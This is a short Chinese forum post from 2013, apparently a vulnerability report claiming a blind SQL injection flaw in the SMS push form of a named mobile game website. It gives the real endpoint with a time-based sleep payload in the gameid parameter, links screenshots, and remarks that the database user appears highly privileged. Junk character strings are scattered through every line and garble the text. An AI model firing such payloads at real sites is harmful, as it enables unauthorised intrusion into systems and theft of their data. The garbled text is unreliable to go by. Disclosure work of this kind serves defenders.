简要描述：
1 `5 i( f7 `" }: H# I& a凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。. i# g8 F; t% q
# r5 u1 \' A1 `! v$ Q' F详细说明：
2 ~+ x! Z# C$ e# G: a2 s存在SQL盲注url:
$ s( }: C0 N; r V; @2 kfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
- s6 p4 A; i3 Zhttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
0 _& l6 n. |7 d/ i* V: U. mhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png% A: o6 M2 t. j* y
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
, Y6 P1 F; f6 k) R9 z& u. c' D/ H7 g- ^
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对